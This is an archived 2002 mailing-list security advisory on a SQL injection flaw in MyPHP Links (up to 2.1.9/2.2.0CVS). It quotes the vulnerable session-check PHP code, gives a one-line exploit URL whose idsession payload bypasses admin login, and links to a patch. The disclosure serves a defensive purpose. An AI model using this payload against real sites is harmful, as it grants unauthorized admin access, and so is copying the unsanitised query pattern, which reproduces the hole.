OSEC

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From: Frog Man (leseulfrog_at_hotmail.com)
Date: Sat Dec 14 2002 - 12:41:45 CST

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    Informations :
    °°°°°°°°°°°°°°
    Website : http://www.myphpsoft.net
    Version : ? -> 2.1.9, 2.2.0CVS
    Problem : SQL Injection -> Admin access

    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°
    admin/auth/checksession.php
    ---------------------------------------------------------------
    [...]
    if($idsession!=''){
    $dbs = new data(0,$MyPHPLinksHote, $MyPHPLinksBase, $MyPHPLinksUser,
    $MyPHPLinksPass);
    if(!$dbs->connect())
      die($dbs->error);
    if(!$dbs->query("select count(*) as nb from ".$MyPHPLinksTBAuth." where
    session='".$idsession."' and timesession > now()"))
      die($dbs->error);
    while($dbs->nextrecord()){
      $loginauth = $dbs->valeur("nb");
    }
    if ($loginauth==0){
      header("Location:$MyPHPLinksAuthPErrDef");exit;
    }else{
      if(!$dbs->query("UPDATE ".$MyPHPLinksTBAuth." set
    timesession=now()+".$MyPHPLinksTLSession." where session='".$idsession."'"))
       die($dbs->error);
    }
    }else{
    header("Location:$MyPHPLinksAuthPErrDef");exit;
    }
    ?>
    ---------------------------------------------------------------

    Exploit :
    °°°°°°°°°
    http://[target]/admin/index.php?idsession='%20OR%20''='

    Patch :
    °°°°°°°
    A patch can be downloaded on
    http://www.phpsecure.org/index.php?zone=pPatchA&sAlpha=m .

    More details :
    °°°°°°°°°°°°°°
    In French :
    http://www.frog-man.org/tutos/MyPhpLinks.txt
    Translated by Google :
    http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FMyPhpLinks.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools

    frog-mn

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